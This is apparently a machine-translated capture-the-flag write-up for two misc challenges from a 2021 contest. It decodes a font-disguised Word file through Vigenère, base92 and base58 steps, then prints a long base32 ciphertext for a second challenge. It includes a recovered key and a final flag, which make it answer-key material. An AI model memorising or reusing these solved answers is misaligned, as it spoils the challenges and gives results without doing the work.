preface
How to evaluate the 2021 dai Lian cup?, My evaluation is "immortals fight, mortals suffer".
Misc
Misc1-decodemaster
After getting the title, open the word file and find that it is a string of random codes with the font of Wingdings 2
Modify the font and find that the font can be displayed normally when it is in bold (not only in bold, but also in other fonts, such as song style, etc.)
We can find that there is an obvious character replacement. Try to use Caesar password, word frequency analysis and Virginia to decrypt the ciphertext. After trying one by one, we get the plaintext on an online Virginia blasting key website.
Online Virginia decryption
The key:welcometogwb and ciphertext are obtained by blasting
cipher:4%G#n+Wc?tpPU!b!Dv]RBfXx\ZP\n39iI+F;:SY,F!x9(B(3@E_(mwc7F2
base92 decryption
3KJ5e1uPn6D6ecMJWG8zkBSWHso39Qs9vfy8HB3VmmuEmVn
base58 decryption
flag{You_Are_Really_Decode_Master}
Misc2-lovemath
Download the file and open it to get a string of base32 ciphertext
LMUDGNZWFQQDGOBUGYZC4MBYGUUSYIBIGQ4DKLBAGQ4TKNZZFY4DSNJJFQQCQMRYFQQDEOJWGQXDGNZXFEWCAKBTHEYCYIBTHE4DQOBOGU3DOKJMEAUDEMRSFQQDEMRXGUZS4MJQHAUSYIBIGM4DQLBAGM4TMOBVFYZDGNJJFQQCQMRUFQQDENJVGYXDGNBWFEWCAKBSGA2CYIBSGA4TCNROGA4DQKJMEAUDINJMEA2DMOJYFY2TSMRJFQQCQOJMEAYTAMRWFYZDKMJJFQQCQNBSHAWCANBTG43DKLRRG43SSLBAFAZTGNBMEAZTIMJXGYXDGNJWFEWCAKBSGA2SYIBSGEYDCOBOGY4DGKJMEAUDEMJYFQQDEMRTGQ2C4MRRFEWCAKBWHEWCANZRGQ3C4MRUGUUSYIBIGM2DOLBAGM2TKMBTFYYTMNRJFQQCQNBXHEWCANBYHE3DOLRSGA4CSLBAFAZDCMZMEAZDCOBTGQXDENBUFEWCAKBSGI3SYIBSGMZDMMROHE2SSLBAFA2DMMBMEA2DOMBSHEXDSOBZFEWCAKBRGE4CYIBRGIYTINBOHAYTSKJMEAUDIOJRFQQDKMBRHEZC4MBTGUUSYIBIGQ2CYIBUGU4TMLRSG4USYIBIGI2DCLBAGI2DMOJQFY3DMOBJFQQCQNBXGYWCANBYGY3DCLRUGU3CSLBAFAYTQLBAGE4TINBOGQYTMKJMEAUDIMRXFQQDIMZWGY2C4MJZG4USYIBIGIYTILBAGIYTSMZWFY4DGOBJFQQCQMRXGQWCAMRYGA2TMLRVHA4CSLBAFAZDOMRMEAZDOOBVGMXDEKK5BJNSQOBVFQQDQMZUHAXDMMRRFEWCAKBTGQ3CYIBTGM3DMNJOGMZDEKJMEAUDCMBRFQQDSOJQGAXDONJJFQQCQMRYGYWCAMRXHA2DKLRTGU4CSLBAFA2DSMBMEA2DONRTGQXDGMZWFEWCAKBSGU3CYIBSGQ4TGNJOGE2TSKJMEAUDIOJZFQQDIOBVGA3S4NZYGMUSYIBIGM4DILBAGM3TGNJSFY2DMNRJFQQCQMZRGQWCAMZQGU3DCLRWGU2SSLBAFA2DOLBAGQ3DMMROGUYTKKJMEAUDENZZFQQDENZRGY3C4NZXGQUSYIBIGQ2DSLBAGQZTMNJWFY3TAMRJFQQCQNBRGUWCANBQGM2TQLRZGQYSSLBAFAZTGNJMEAZTENJZHAXDCNZTFEWCAKBUGQ2SYIBUGMZDMOJOG4ZTQKJMEAUDENJXFQQDENJQGMZS4NBXHEUSYIBIGU3CYIBVGUZTKLRVGMUSYIBIGQ4DILBAGQ3TANJTFYYCSLBAFAZDILBAGI2DGMJOGEZDGKJMEAUDINBXFQQDIMZUGYZS4MZTGIUSYIBIGI2TELBAGI2DKNBXFYZTKKJMEAUDENRZFQQDENRRHE3S4MBXGMUSYIBIGM3TKLBAGM3DINZYFY4DQNJJFQQCQNBWG4WCANBVGQYDILRRGUZSSLBAFAZDSOJMEAZDSMJQGYXDMNRRFEWCAKBUGEYCYIBTHE4DONBOG44DCKJMEAUDCMJRFQQDCMBYG4YC4MRTGIUSYIBIGE3DELBAGE2TQMJXFYZDCMRJFQQCQNBXGMWCANBVHE4DKLRTGQ4CSLBAFA2DEOBMEA2DCNRSGAXDKMRXFFOQUWZIGQ4DELBAGU4TGNRTFY2TSOJJFQQCQNBZGMWCANRQG4YTOLRWGEZCSLBAFAZDIMRMEAZDSOBUGIXDQMZWFEWCAKBUGAZSYIBUHE3DINJOGQ4TIKJMEAUDENJXFQQDGMJWHA3S4OBYGQUSYIBIGQYTQLBAGUYTIOJQFY3DKOJJFQQCQMZYGIWCANBXGA3DELRXHE2SSLBAFAYTOMRMEAZDCMRTGIXDKOJUFEWCAKBUGA4SYIBVGAZTQMZOGUZTOKJMEAUDGNZMEA2DMMRXFY2DCMJJFQQCQMJRGMWCAMJTHE3TKLRWGIZCSLBAFAZDQMZMEAZTIOBYGYXDKMBSFEWCAKBWGIWCANZXGAZC4MZWGMUSYIBIGQZTQLBAGUZTSNJRFYZDSNJJFQQCQOJVFQQDCMJXGYYS4MJUHAUSYIBIGE3DILBAGIYDENBYFYZDCNBJFQQCQMRXGAWCAMZTGI4DOLRRGIZSSLBAFA3DALBAG42DKNROGM3DKKJMEAUDQOJMEAYTCMBSGMXDMOBJFQQCQMJWGUWCAMRQGM3TCLRUGA2SSLBAFAZDEMRMEAZDOMZYGIXDAOBWFEWCAKBUGE3CYIBVGEZDINBOGA4TSKJMEAUDIMZTFQQDKMZTGM2S4NRUGYUSYIBIGQZDELBAGUYTSOBTFY3DQMZJFQQCQMRZFQQDGNRUGMXDEOJSFEWCAKBUGY3CYIBVG4ZTSNJOGA4DMKJMEAUDCMBZFQQDCMZUHAZS4MRQHAUSYIBIGIYDALBAGI2DMNZXFYYDONJJFQQCQMZXGEWCANBVG4YTALRXGEZCSLBAFAZTENJMEA2DAMBVGIXDKMJJLUFFWKBSGE2CYIBRGA2TSNROGUYDCKJMEAUDGMZYFQQDCNRWG4ZC4OBRG4USYIBIGM4DGLBAGE4DQNZYFY4TSNRJFQQCQMJZHAWCAOJYGEZS4MJRG4USYIBIGE2DSLBAG42DCMJOGE4CSLBAFA2DGOJMEAZDCNRSGEXDCMZZFEWCAKBRGIWCANRZHAXDENZUFEWCAKBTGAWCAMJVHAYC4MJQHEUSYIBIGQZDKLBAGIYDSMZVFYZTGMZJFQQCQMZXGIWCAMJYGMZTQLRYGY4SSLBAFA2TELBAGI3DKOBOGM2TGKJMEAUDEOBSFQQDCMZZGI4C4NJRGQUSYIBIGQZDCLBAGIYDONBQFY4TAOBJFQQCQMRUGIWCAMJRHE3DQLRTHAYSSLBAFAZDEMZMEAYTCMBTG4XDKMJZFEWCAKBUGYWCAMRTGY2C4MZWGEUSYIBIGMYTILBAGE2TIOJXFY2DIOBJFQQCQMRSGUWCAMJRGEZTKLRWGIUSYIBIGIYTALBAGEYDIMBQFY4TENZJFQQCQMJWHAWCAOBTGQZC4NJUGQUSYIBIGEYDILBAGUZDANROGYYDOKJMEAUDCNZVFQQDQNRYGUXDENRJFQQCQNBTG4WCAMRRGUZDGLRUG44CSLBAFA2TKLBAGI4DANJOGMYTCKJMEAUDIMJZFQQDEMBWGQZC4OJTGYUSYIBIG44SYIBTHE4DCLRRGEUSYIBIGQ3TGLBAGIZTEOBXFYZTKOJJFQQCQMRQG4WCAMJQGI2TGLRZGUZSSLBAFAZTOOJMEAYTQNRYGIXDCMJUFEWCAKBUHE4CYIBSGQ2TCMROGY4TSKK5BJNSQNBUGQWCAMRSGY4TOLRUHA2CSLBAFAZDAMJMEAYTAMZQGMXDSNRVFEWCAKBUGQZCYIBSGI2TSNBOHE4DKKJMEAUDENRYFQQDCMZXGIYC4NBWGMUSYIBIGIYTKLBAGEYTAMJYFYZTKOBJFQQCQNRUFQQDGMZRGYXDCMZWFEWCAKBZHEWCANJRGAYS4NJSG4USYIBIGEYTOLBAGYYDCOJOGQ3TMKJMEAUDIMRMEAZDCOJUFYZSSLBAFAZDGNJMEAYTEMBTG4XDGMZRFEWCAKBUGQ3SYIBSGI4DKMBOHE2TIKJMEAUDIOJRFQQDENJQHEZS4MRQGYUSYIBIGQYDALBAGIYDINJSFY3DSOJJFQQCQNBQHEWCAMRQHEYTCLRVGI3SSLBAFAZTAMZMEAYTKNJQGUXDKNJVFEWCAKBUGMYCYIBSGE4TQMZOGA2TGKJMEAUDCNRWFQQDQNJRHAXDIMZSFEWCAKBZGEWCANBWHEZS4MZRFEWCAKBRHE3SYIBRGAYDSOJOG43TEKJMEAUDCNBXFQQDONJUHEXDKMZZFEWCAKBRGE2SYIBVHEYTOLRVGI4CSLBAFAZTSMBMEAYTSOJUGIXDKNZJFQQCQMZZGYWCAMRQGI2TALRRGUUSYIBIGM4DMLBAGE4TOMZZFYZDQNJJFQQCQMJUGQWCANZTHE3C4NZVHAUSYIBIGE4DKLBAHE2DQOBOGA3TIKJMEAUDGMBYFQQDCNJXGYYS4MBXHEUSYIBIGI4TSLBAGE2TGMBRFYYTQMZJFQQCQNBVGMWCAMRTGE2TMLRYGY4SSLBAFAZTENRMEAYTMNRXHAXDIMZTFFOQUWZIGE2TOLBAGE3TSOJUFYYDEOJJFQQCQNBWGYWCANJTGIYTSLRXGEZSSLBAFAZDSOBMEAZTIMBWG4XDQNZWFEWCAKBTGM3CYIBTHA2DAMBOGE3TMKJMEAUDIMBUFQQDINRRGUZC4MJRGQUSYIBIGM2SYIBUGA4DKLRSGQ4SSLBAFAZTOMBMEA2DEMRXG4XDCMZJFQQCQNZUFQQDQNJTGEXDAOJZFEWCAKBTHAWCANBUGI3S4NBVHEUSYIBIGM2TMLBAGQYDMOBQFY4TAMRJFQQCQNBWGEWCANJSGY2DSLRVGQ4CSLBAFAYTAMZMEAYTCOBTG4XDGNJRFEWCAKBSHA3SYIBTGI4DCNBOGAYTCKJMEAUDCNJTFQQDCNZVGM3S4MJUG4USYIBIGEYDKLBAGEZDANRVFYZDENZJFQQCQMJWGUWCAMJYHEYDKLRYGMYSSLBAFAZTQMZMEA2DGNZVHAXDANRUFEWCAKBRGQWCAMJWHEYS4MRXG4USYIBIGE2DSLBAGE3TAOBRFY4DSOJJFQQCQNBYFQQDKNJWG4XDCMZVFEWCAKBWGAWCANRZGM2S4MZRG4USYIBIGE4DGLBAGIYDSNJYFYYDKMZJFQQCQNBSGUWCANBYGU2DMLRVGUZSSLBAFAYTENBMEAYTIMRTGEXDGMBZFEWCAKBRGU2CYIBRG43DKMJOGMYTKKJMEAUDGMBVFQQDGNBYGY2S4MBXG4USYIBIGIZDKLBAGI2TONBVFY3TSOBJFQQCQMRSFQQDENRQGMXDIMZWFEWCAKBSGYYCYIBSHE3TGNJOG43TSKJMEAUDENRYFQQDGMBWGQ4C4NBZGEUV2CS3FAZTKLBAGI4TEMJOGE4TGKJMEAUDONBMEA3DCMJZFY3DCNJJFQQCQMZWGYWCAMZQGA3DGLRYGUYSSLBAFA4DILBAGY4TGOJOGYYTCKJMEAUDINBVFQQDGNRVGQYS4NRUGQUSYIBIGI3DMLBAGIYTQNRUFY2TGNZJFQQCQNBUFQQDGNRVHEXDEMZJFQQCQMRRFQQDCNZXGMXDEMBTFEWCAKBSHAYSYIBSGMYDSNBOGM4TIKJMEAUDINBWFQQDGNRWGI2S4MJJFQQCQMJTGQWCAMJRGAZTSLRVHE4SSLBAFAZDENBMEAYTQNBRHEXDKOJXFEWCAKBRGI2SYIBRGAZTAMJOGI3TEKJMEAUDCOBXFQQDCNJTHA3C4MBZGIUSYIBIGI3SYIBSGI3DKLRRGQ2CSLBAFAZTQNBMEAZTCNJUGAXDOMJVFEWCAKBTGEZCYIBSGU3DGNROHA3TKKJMEAUDQMJMEA3DMOJTFY2DANBJFQQCQMRVGYWCAMRRGA2DGLRZGE2SSLBAFAZDOMRMEAZDEMZVGUXDGOBWFEWCAKBUGEZSYIBTGM4TCNZOGMZSSLBAFA2DMNRMEAZTQMRWGMXDENRSFEWCAKBRGAWCAOBXGEXDCNJJFQQCQMZSGIWCAMRWGQ2TKLRSGU2CSLBAFA2DSMJMEA2DAMZRGQXDAMJYFEWCAKBSHA2SYIBSGM2DEMROGIZTKKJMEAUDEOJZFQQDENBVGY4S4MZQGQUSYIBIGMYTILBAGI2TOOJZFY4TAMZJFQQCQNBXGIWCAMZYG42TMLRZGIYSSLBAFAZDANZMEAYTOMBSGUXDCMJZFFOQUWZIGE4CYIBRHEYDSLRQHEUSYIBIGQZDGLBAGQZTMMRWFYYTSNZJFQQCQNBUGMWCANBVGY4DMLRUGI4CSLBAFA2DGNBMEA2DINZVHEXDCNBYFEWCAKBSGI3SYIBSGM2DGNROG4YTMKJMEAUDCMRZFQQDCMZTGQZC4OJRGQUSYIBIGYWCANRXGMXDANJRFEWCAKBTGAWCAMZRGQ2S4MZYGIUSYIBIGE4DELBAGE4DQMBRFY4TAOJJFQQCQNJTFQQDKNJRGQXDGOJVFEWCAKBTHAWCAMZZGY4S4MZWGIUSYIBIGMYDMLBAGMYTKNZTFY4TOMJJFQQCQNBUHEWCANBWGMYDGLRSG4USYIBIGM2DELBAGM2TEOBRFY3DKNZJFQQCQMRQHAWCAMRRGQ3TSLRRGA3CSLBAFA2TQLBAGYYDEOJOGQ4TIKJMEAUDIMRWFQQDIMZZGMZS4MRQGMUSYIBIGMYSYIBTGI2DQLRSHA3CSLBAFA2DKNJMEA2DMOJSGEXDENRVFEWCAKBUGYWCANBXHEZS4MZXFEWCAKBWG4WCANRZGU3C4NJTGQUSYIBIGQZTMLBAGQ2DSNRUFY3DOMJJFQQCQMZVGIWCAMZWGMYTCLRRGE2SSLBAFAZTSLBAGQYDOMROGMZTEKJMEAUDIOBSFQQDIOJXGAZS4MZXHAUSYIBIGM3CYIBTG43DGLRSGA4CSLBAFA2DSMBMEA2TANJSGUXDONZVFEWCAKBUGA2CYIBUGE3DMNZOGUYTGKJMEAUDIMJRFQQDIMRTHA4S4NZSFEWCAKBYG4WCAOJQGE3C4MJSGQUV2CS3FA2DMNRMEA2DOMJRHEXDGNJXFEWCAKBSGM4CYIBSGQYDSMJOHE4SSLBAFAZTOOBMEAZTQMRTGEXDIMRVFEWCAKBTHE3SYIBUGAYTKMJOGY3DIKJMEAUDMMRMEA3DGMJVFYZTMMJJFQQCQMJWFQQDCNRWHEXDINBTFEWCAKBUHE2SYIBVGAYDIOBOGI2TKKJMEAUDENBYFQQDENJRGAYS4MZRGQUSYIBIHE3SYIBZHA2TALRUGE4CSLBAFA2DSNRMEA2TAMJUHEXDIOBWFEWCAKBSGUYCYIBSGUZTAMZOG43TGKJMEAUDENJUFQQDENJXGA4C4MJWGIUSYIBIGE2TCLBAGE2TGMBUFY2DONRJFQQCQMRZHAWCAMZQGE2TCLRUHEUSYIBIGM4SYIBTHE4TELRTGU4SSLBAFAZTAMJMEAZTANBVGUXDCMZRFEWCAKBUHA3SYIBUHEZDIMBOGY3TIKJMEAUDCMZXFQQDCMZYHEYC4NRRGQUSYIBIGE3TALBAGE3TEMRTFY3TANBJFQQCQMJSFQQDCMRWGUXDCMRZFEWCAKBTGA3CYIBTGA4TKOJOHE4DIKJMEAUDGMRUFQQDGMRXG43S4MRXGUUSYIBIGM2TILBAGM2TQMBYFYYTCOBJFQQCQMRVHEWCAMRWGIYTGLRVHE4SSLBAFA3DCLBAGYZDCNBOGA3DIKJMEAUDGMJVFQQDGMJYGY4S4NJXGQUSYIBIGQYTSLBAGQZDGNZTFY3TOOJJFQQCQMZWFQQDGNRYHEXDCNZSFEWCAKBVGYWCANJXGA4S4NBUGEUSYIBIGM2DOLBAGM2TCMBRFY2TOKK5BJNSQMJSHAWCAMJQGY3TGLRXGA3CSLBAFA2DCMBMEAZTIMBYGAXDCMJTFEWCAKBUGAYCYIBTGMZDKMBOGEYDSKJMEAUDIOJVFQQDIMJRGM2C4MZQGMUSYIBIGEYDELBAHA2TCNJOGIYTMKJMEAUDGOBYFQQDGMRSGUZS4NJXGUUSYIBIGQZDCLBAGM2DSOJSFYZTQNBJFQQCQMJSGYWCAMJQGUYDOLRWGEZCSLBAFA2DIOBMEAZTOMRTGMXDIMBSFEWCAKBSGMYCYIBRHEYTGOJOGY3DOKJMEAUDIMZSFQQDGNJZGA2S4NRVGYUSYIBIGM2DGLBAGI4DKMJZFY4DCOJJFQQCQMRSGQWCAMJYGY2DCLRUGM4SSLBAFAYTMLBAGEZTONZOGA3TQKJMEAUDOMBMEA2TQNJZFYZDKNBJFQQCQMJYHAWCAMJVGY2TGLRWHAUSYIBIGQYSYIBTGQ2TELRSGE3CSLBAFAZDMMRMEAZDCNZZGUXDSOBRFEWCAKBUGUZCYIBTG42TMNJOGYZDSKJMEAUDIOJWFQQDIMJSGE4C4OJXGQUSYIBIGQ4CYIBUGAZTGLRTGA4SSLBAFAYTSLBAGE3DENROGQ2TGKJMEAUDCNZZFQQDCNBZGA3C4NRVHAUSYIBIGQ4TALBAGQYDOMRQFY3DAMRJFQQCQMRZGMWCAMRUGM3DQLRYGQ4CSLBAFAYTOLBAGE2DMMBOGMYTOKJMEAUDGMJVFQQDENRRHE2S4MRZHEUSYIBIGM2TCLBAGI4TCOBSFY3DCMRJFQQCQMRRHEWCAMJYGIZDMLRYGQ2CSLBAFAYTSMRMEAYTKOJYGUXDIMBRFFOQUWZIGM3DMLBAGE3TMNZZFY4TSMZJFQQCQMZRGEWCAMJVGAZTSLRWG4ZCSLBAFAYTINBMEA3TAMRSFY2TQNZJFQQCQNJWFQQDENZZHAXDCNZXFEWCAKBUGAWCAMRQGMYC4MZSFEWCAKBYGYWCANBSGM4C4NRXG4USYIBIGM4TGLBAGE4DSNZUFY4DCNBJFQQCQNBQHEWCAMJZG42DELRYGI4CSLBAFAZDMNRMEAYTEOBXHAXDINRUFEWCAKBVGMWCAMRWGU2C4MJWHEUSYIBIGM2TMLBAGE3TCOJZFYYTQKJMEAUDEMZTFQQDCMJSHE2C4NRUFEWCAKBXGAWCAMZUG4YC4NJRGEUSYIBIHA4SYIBUGM4DELRTGYZSSLBAFA4DALBAGM4TKMBOG4YDKKJMEAUDGNZYFQQDCOBSGU2S4MRTG4USYIBIGEZTSLBAGY3TQMROG4YDOKJMEAUDCMRQFQQDKOBXGAXDKOJWFEWCAKBTGEWCAMJVHE4C4MJTGQUSYIBIGQ4TELBAGIZTOMRYFY3DGOBJFQQCQNBVGMWCAMRRHA2TMLRWGM3SSLBAFAZDCMBMEAYTAMJZGAXDCNJRFEWCAKBUG4WCAMRTGY3C4NBQGMUSYIBIGMYDMLBAGE2DOOJYFY3TQNJJFQQCQMRTGUWCAMJRGM4TALRXGIYSSLBAFAZDELBAGEYTMNROGEYTEKJMEAUDINZRFQQDEMRXGE4S4NBRGUUSYIBIGEYDQLBAGUZDSNBOGUYDEKJMEAUDIMJTFQQDCOJZGM3C4MBSGUUSYIBIGMZDSLBAGE2TSMBTFYYTAMZJLUFFWKBUGAYCYIBTHAYDMNJOGYYTGKJMEAUDIMBWFQQDGOBWGM2S4OJSGEUSYIBIGQZDMLBAGQYDKMZWFY2DKMRJFQQCQMRSHAWCAMRRG4ZDKLRTGAZSSLBAFA2DQNBMEA2DMMBUGYXDGOJVFEWCAKBSHE3SYIBSHAZDQMBOGU2DQKJMEAUDCNZWFQQDCNRXHA3C4MBUGYUSYIBIGMYTMLBAGMYDAOBVFY4DEMJJFQQCQMZVFQQDGMZZGAXDGOBUFEWCAKBTGE2SYIBSHE4TSMBOHE2CSLBAFA2DEMJMEA2DAMBWGAXDMNJYFEWCAKBUGQ4CYIBUGI3DENZOGAZDSKJMEAUDGOJWFQQDGNZWHA2S4MJZGEUSYIBIGQ2TQLBAGQZTKNZVFY4DCOBJFQQCQMZWGYWCAMZUHAZTMLRVHE2CSLBAFA2DONBMEA2DKMBZGUXDGMRUFEWCAKBUG43CYIBUGUZDQNZOGAYTOKJMEAUDGNRMEAZTIOBVFYZDINJJFQQCQNBXGMWCANBVGAYDALRUGUUSYIBIGIZCYIBSGE2TKLRUGEYSSLBAFA2DAOJMEAZTQOJSGAXDQMBUFEWCAKBTGYZCYIBTGQ2DKNJOGYZDOKJMEAUDCOJWFQQDCOBWHA2S4OJVGMUSYIBIGQ2TALBAGQZDQMJWFY2DEKJMEAUDQNRMEA4DEMZVFYZDMMZJFQQCQMRWGYWCAMRVGMZTKLRUGUZCSLBAFA2DENZMEA2DANRTGEXDINJZFEWCAKBUGIZSYIBUGAZDKMROGI2TIKJMEAUDCMJVFQQDCMBZHEYC4NJUHEUSYIBIGE4DALBAGE3TCNRVFY4DMOBJLUFFWKBTHE4SYIBTG44TONZOGAZDSKJMEAUDCNBRFQQDCMZUGY3S4MBVGYUSYIBIGQ4TCLBAGQ3DOMJWFY2DGNJJFQQCQMRTGYWCAMRSGQ4TCLRYG4ZSSLBAFA2DCNJMEAZTSNBZG4XDIMZYFEWCAKBSGM4SYIBSGI3TONROGEZDMKJMEAUDGNZYFQQDGNJZHAYS4OJVGMUSYIBIGQYDILBAGM4DINJSFYYTQNJJFQQCQMRQFQQDCOJXGEXDGMZTFEWCAKBTHEZCYIBTG4ZTCMROGE3TCKJMEAUDGNBYFQQDGMZRGMYS4NZQGUUSYIBIGY4CYIBWGUZTCLRVGIYSSLBAFAYTCNRMEAYTCMBZGEXDMOBXFEWCAKBSGQWCAMRTGUYS4MZXHAUSYIBIGM3TOLBAGM2TQOBWFY3TKMZJFQQCQMZVGIWCAMZTGUYTCLRSGY2SSLBAFAYTQNRMEAYTONZUGEXDIMBYFEWCAKBWGQWCANRRGUYS4MRXFEWCAKBSGM4CYIBSGI3DQMJOGMYDQKJMEAUDCNJWFQQDCNBYHEYS4NRUGUUSYIBIG43SYIBXGM4DMLRVGEUSYIBIGI3DILBAGI2TCNJRFYYTSMRJFQQCQMZRGEWCAMRZGYYTMLRYGMZSSLBAFA2DQMJMEA2DKNZWGYXDQNZXFEWCAKBSGI4SYIBSGE4DENROGEYTEKJMEAUDCMRUFQQDCMJYGUYS4NBVGQUSYIBIGIYDILBAGE4TINJSFYYDINRJFQQCQNZUFQQDOMJQGEXDIMBYFEWCAKBRGAYSYIBZGY3DMLRVG4ZSSLBAFAZDGLBAGIZDKNROGQ2DEKK5BJNSQNBWGIWCAMRSGI2TKLRVGY3SSLBAFA2DANBMEAYTSNBXGIXDSOBVFEWCAKBRGQ4CYIBXGE4DGLRXGMYSSLBAFAYTCNRMEA2TMNBXFYZTQNJJFQQCQNJUFQQDENRXGEXDGNJUFEWCAKBRGI4SYIBWGI3TCLRWGQZSSLBAFAZTSNRMEAYTSMBYHEXDAOJSFEWCAKBRGA2CYIBVGA3TCLRTGY2SSLBAFAZTKMJMEAYTMOJSHAXDKMBZFEWCAKBSGYZSYIBRGI3TANBOGQ4DQKJMEAUDEMZRFQQDCMJRGY3S4NRRGYUSYIBIGIYDGLBAHE4DENBOGI2DEKJMEAUDIMZTFQQDEMBYGY2S4MRUFEWCAKBTHAYCYIBRHAZTCOJOHA2DOKJMEAUDCOJMEA4TSMJOGMZTGKJMEAUDCNZQFQQDQMRTHEXDIMZYFEWCAKBWGEWCAMZQGA3S4MJYGMUSYIBIG43SYIBTG43TKLRTGQYSSLBAFAYTSMZMEA4TGNBTFY3TSNRJFQQCQMJWGAWCANZXGU4S4OBRHEUSYIBIGEYTGLBAGU2TAMZOHA2SSLBAFA2DKOJMEAZDEMJRGMXDCOJVFEWCAKBUG4ZCYIBSGI3TGNJOHE4DKKJMEAUDIOJXFQQDEMZZGM3S4MZVGQUSYIBIGEZDCLBAGU4DQNZOGU4DSKJMEAUDGNBWFQQDCNRWHA3S4OJVG4USYIBIGMZTELBAGE3DAMJWFYYDSMJJFQQCQNBWGEWCAMRSGIYDOLRTG42CSLBAFAYTINJMEA3TAMZZFY3DOKJMEAUDCMBRFQQDIOJSG4XDKMRWFFOQUWZIGM2TMLBAGM2TMOJVFY3TQMJJFQQCQMZSGMWCAMZSGM4TMLRTGEZCSLBAFA4TSLBAHE4TSNJOGYZTMKJMEAUDENZUFQQDENZUHE2S4NZXGYUSYIBIGI4DILBAGI4DIOJVFY2DENBJFQQCQMZXFQQDGNZZGUXDEOJSFEWCAKBRGE2CYIBRGE2DSNJOG43TEKJMEAUDGOBRFQQDGOBRHE2S4MRVGQUSYIBIGQYTKLBAGQYTKOJVFY3TOMZJFQQCQNBVFQQDINJZGUXDENZYFEWCAKBSGA2SYIBSGA2TSNROGIZTIKJMEAUDIMJYFQQDIMJYHE3C4NZUHEUSYIBIGI4DELBAGI4DEOJWFYYTMNRJFQQCQMRSHAWCAMRSHA4TMLRSGE2CSLBAFAZTGOBMEAZTGOBZGYXDCMRXFEWCAKBYGQWCAOBUHE2S4MZVGUUSYIBIGIZTOLBAGIZTOOJVFYZDEMRJFQQCQNBRGQWCANBRGQ4TKLRTGM2SSLBAFAZDINZMEAZDINZZGUXDGOBVFEWCAKBRGMZSYIBRGMZTSNJOGU4SSLBAFAYTONZMEAYTONZZGUXDSMRRFEWCAKBUHAYSYIBUHAYTSNJOGU4DOKJMEAUDGOJZFQQDGOJZHE2S4MZSHAUSYIBIGQZTKLBAGQZTKOJVFY4TOMZJFQQCQNBXGYWCANBXGY4TMLRTGAZCSLBAFAZTINZMEAZTINZZG4XDAOJRFEWCAKBXGUWCANZVHE2S4NZSFEWCAKBSGI2CYIBSGI2DSNJOGUYDEKJMEAUDIMBSFQQDIMBSHE3C4MRXGIUSYIBIGEZTSLBAGEZTSOJVFYZDQKK5BJNSQMZTGQWCAMRYGE3DCLRQGI2SSLBAFA3TILBAGYZTEMBOGI3TEKJMEAUDENBUFQQDEMBWGAYC4OBUGIUSYIBIHE2CYIBYGAYDALRXGA3CSLBAFAYTONBMEAYTINZSGAXDKOBXFEWCAKBZHEWCAOBUGIYC4MJQGQUSYIBIGQ4DILBAGQYDONRRFY2TGMJJFQQCQNBZGMWCANBRGUYTOLRYGY4SSLBAFA2DINZMEAZTONRVGIXDONRVFEWCAKBUHEWCANBSGIYC4NBRGIUSYIBIGQ4TSLBAGQZDAMRRFYZDIMJJFQQCQMRZHAWCAMRVGEZTOLRYGEUSYIBIG44SYIBWG42DALRTGYZCSLBAFAYTMOJMEAYTIMZQGEXDAMJVFEWCAKBUGM4SYIBTGY4TQMJOHEZTGKJMEAUDEMJWFQQDCOBSGQ4S4MJUGEUSYIBIGQ3TMLBAGQYDAOJQFYZDINZJFQQCQNBWGIWCAMZYHEYTGLRQGE2SSLBAFA2DCMZMEAZTINZZHAXDEMBUFEWCAKBUHAYCYIBUGA2DENBOGM2DEKJMEAUDIOJRFQQDIMJTGQ4S4MBVGUUSYIBIGE2TALBAGEZDOMBUFY3DIOBJFQQCQNBTGMWCAMZWGQ3TOLRTGI3CSLBAFAYTGLBAGEYTSNROGI3TEKJMEAUDIMBQFQQDGMZXGA2S4MZUGYUSYIBIGEYTILBAHE3DQMBOGU2TMKJMEAUDCMRXFQQDCMBXG4ZC4NBXGQUSYIBIGYZCYIBVGMYTELRRGQZSSLBAFAZDSNJMEAZDIOBYGQXDINRTFEWCAKBSGMYCYIBRHE2DENJOGI3TIKK5BJNSQOJVFQQDINZWGUXDEOJTFEWCAKBRGM4CYIBWHA3TELRUGMZCSLBAFA2DGMZMEAZDCMZSHAXDAMRYFEWCAKBUGMZCYIBSGEZDQMBOGE4DSKJMEAUDIMJYFQQDEMBVHEZC4NRUGIUSYIBIGM2DILBAGE3DSNRXFY3DAMJJFQQCQNRMEA2DANBOGAZTOKJMEAUDEOBQFQQDCMZYGMYC4NJWGYUSYIBIGE3TKLBAHA3DQNJOGYYDIKJMEAUDCMBXFQQDKMZVGMXDGOBVFEWCAKBUHA3SYIBSGM4TONJOGQ3TEKJMEAUDGMJRFQQDCNJTGQ4S4OBUG4USYIBIGQ3TGLBAGIZTEOBYFY4TAMRJFQQCQMJTG4WCANRYGIZS4NJTGEUSYIBIGQZDOLBAGIYTAMZTFYZTONJJFQQCQMJYGEWCAOBZHAYC4MJZGYUSYIBIGQ2TGLBAGIZDGMBYFY4DSMRJFQQCQNBRGEWCAMRQGI2DSLRTGQ2CSLBAFAZTEOBMEAYTMMJYGMXDQOJRFEWCAKBUGYZCYIBSGI3TKMBOGEYTGKJMEAUDIMBXFQQDEMBQGU2C4NZZGEUSYIBIGQ4DALBAGIZTMMZQFYZTEOBJFQQCQMZRFQQDCNRSHEXDENRJFQQCQMRWFQQDCMZYGQXDCNRVFEWCAKBRG4YCYIBYGQ2DALRYGM3CSLBAFAYTMMBMEA3TSNJQFY4DGKJMEAUDKOBMEAZDSNJSFYYTONRJFQQCQNBVGEWCAMRSGIYTALRSHAYSSLBAFA2DGLBAGIZDCNZOGQYTMKJMEAUDENJYFQQDCMRXGUZC4MJUGIUV2CS3FAZTKMZMEAZTMNBYGUXDEMBUFEWCAKBTGA2SYIBTGE2TIMBOG44DCKJMEAUDCMJXFQQDCMRRG43C4MBVGQUSYIBIGEZTALBAGEZTKMJVFYZTIOBJFQQCQMRVFQQDENZQGAXDEOJSFEWCAKBRGIYCYIBRGI2DQNJOHAYTSKJMEAUDIMZWFQQDINJQGM2S4MZUG4USYIBIGI2TILBAGI3DEOBXFY4TOOJJFQQCQMJWHAWCAMJXGQZDSLRTHEYSSLBAFA2DQNBMEA2DSOJXHEXDEOJVFEWCAKBSHAZSYIBSHEZDONBOHA3TQKJMEAUDCMJSFQQDCMJWGYYS4NJRGUUSYIBIGI4DKLBAGI4TIOBQFY2TGNBJFQQCQMJXGMWCAMJXHE2DILRWGY4SSLBAFAYTQOBMEAYTSNBYHEXDMMBXFEWCAKBTG4YSYIBTHAZTGOJOGQYTMKJMEAUDCMJQFQQDCMJUGU2S4NBUGEUSYIBIGQ4SYIBVGE3TELRUGM4CSLBAFAYTONRMEAYTQMRVGMXDMNBVFEWCAKBXGIWCANZVGQYS4NBVHAUSYIBIGIZSYIBSGQ